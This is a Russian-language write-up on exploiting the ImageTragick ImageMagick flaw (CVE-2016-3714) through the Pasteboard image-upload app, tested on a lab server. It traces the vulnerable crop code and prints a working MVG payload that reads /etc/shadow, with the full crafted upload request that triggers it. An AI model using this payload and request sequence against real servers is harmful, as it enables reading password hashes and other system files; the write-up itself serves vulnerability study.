Pasteboard

Эксплуатация ImageTragick через Pasteboard

ImageTragick (CVE-2016–3714) способствовал взлому многих серверов. Особым качеством эксплуатации этой цвешки является простота. Достаточно загрузить специально сформированный файл, который должен пройти обработку через ImageMagick. Детальное описание уязвимости можно прочитать на сайте ресерчеров.

Pasteboard – веб приложение с открытым исходным кодом (написано на CoffeScript) для быстрого создания скриншотов и загрузки картинок. Исходный код доступен на github.

Для обработки изображений используется модуль EasyImage (https://github.com/hacksparrow/node-easyimage). В файле controllers/main.coffee проиходит импорт easyimage и вызов функции crop:

require("easyimage").crop(
 src: sourcePath
 dst: cropPath
 cropwidth: fields["crop[width]"]
 cropheight: fields["crop[height]"]
 x: fields["crop[x]"]
 y: fields["crop[y]"]
 gravity: "NorthWest"
, ->
 fs.unlink sourcePath, (-> )
 sourcePath = cropPath
 callback null
)

Рассмотрим реализацию функции crop:

// crop an image
exports.crop = function(options) {
...
...
child = exec('convert', args, function(err, stdout, stderr) {
 if (err) deferred.reject(err);
 deferred.resolve(info(options.dst));
});
...

Отчётливо виден вызов утилиты convert, входящей в состав ImageMagick. Одним из аргументов является путь к локальному файлу, который поступает от нас.

Устройство приложения

После вставки или перетаскивания файла на страницу приложения автоматически отправляется запрос через websocket протокол на получение уникального идентификатора.

Получив ответ начинается загрузка файла. POST запрос уходит на URI /preupload. Полем формы с именем “id” служит полученный ранее идентификатор, а полем “file” передаваемый файл.
Предварительная загрузка изображения

После выделения участка на изображении и нажатии на кнопку “Crop & Upload” выполняется POST запрос по пути /upload.

Запрос на загрузку

Параметрами передается уникальный идентификатор из предыдущего запроса и опции для изменения размера.

Эксплуатация

В приложении отсутствует проверка на содержимое отправляемого файла. Проверим работоспособность ImageTragick на заведомо уязвимом сервере. Для работы с запросами будем использовать BurpSuite.

Переходим на страницу с приложением и вставляем произвольное изображение. Перехватываем запрос и подменяем содержимое файла на один из предпочтительные пэйлоадов. Рассмотрим вариант с чтением произвольного файла.

push graphic-context
viewbox 0 0 1920 1080
image over 0,0 0,0 'label:@/etc/shadow'
pop graphic-context
Испорченный запрос

В ответе видим сообщение об успешной загрузке файла “Received file”.

Файл на сервере. Пора по ударить по нему ImageMagick’ом.

Для этого отправляем финальный запрос на /upload. Передаём параметр id в качестве идентификатора из предыдущего запроса, cropImage равным true для вызова метода crop из EasyImage, остальные параметры отвечают за размер и область изображения.

POST /upload HTTP/1.1
Host: 192.168.182.128:4000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.182.128:4000/
Content-Length: 125
Connection: close

id=663a7181-2f1c-42b5-9fe5-288cf13931d1&cropImage=true&crop%5Bx%5D=0&crop%5By%5D=0&crop%5Bwidth%5D=1920&crop%5Bheight%5D=1280

После выполнения запроса получаем URL к созданному изображению.

Ссылка на нужный файл

Если ImageTragick имеет место быть, то на изображении будет примерно следующее:

Содержимое /etc/shadow